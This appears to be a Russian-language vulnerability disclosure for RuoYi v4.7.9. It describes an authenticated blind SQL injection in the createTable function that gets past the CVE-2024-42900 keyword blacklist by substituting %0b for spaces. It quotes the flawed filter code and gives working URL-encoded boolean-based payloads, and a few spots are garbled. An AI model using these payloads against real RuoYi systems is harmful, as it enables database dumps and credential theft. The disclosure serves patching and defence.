
Эксплойт концепции слепой SQL-инъекции для RuoYi v4.7.9, обходящий фильтр CVE-2024-42900 для дампа баз данных через аутентифицированную булевую инъекцию.
Я обнаружил уязвимость Blind SQL Injection в функции createTable фреймворка RuoYi v4.7.9. Это позволяет аутентифицированному администратору выполнять произвольные SQL-команды через параметр sql. Это обход исправления CVE-2024-42900, так как фильтр SQL-инъекций в методе filterKeyword недостаточен: регулярное выражение можно обойти, используя %0b в качестве альтернативного символа для пробелов.
Продукт: RuoYi Framework
Версия: ≤ 4.7.9
Ссылка: [Ruoyi]
Уязвимость была найдена в файле https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java следующим образом. Приложение полагается на черный список ключевых слов для фильтрации атак SQL-инъекций, этот подход подвержен обходам. В данном случае для исправления CVE-2024-42900 строка была добавлена в черный список, но приложение по-прежнему не блокирует символ , поэтому я могу использовать его для запуска SQL-инъекции с помощью .
/*%0bselect%0bpublic class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
Регулярное выражение select (с пробелом) соответствует, но не соответствует select%0b, который является допустимым разделителем в SQL.
/tool/gen/createTable)
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
Внимание: Необходимо изменять имя таблицы в запросе CREATE после каждого успешного запроса.
3. С помощью boolean-based SQL-инъекции данные можно извлечь с помощью Python [poc] в этом репозитории
Использование

Извлечение версии БД с помощью poc

Злоумышленник с правами администратора может выгрузить всю базу данных, включая учетные данные других пользователей и конфигурации системы.
%0b.select вместо select (убрать конечный пробел)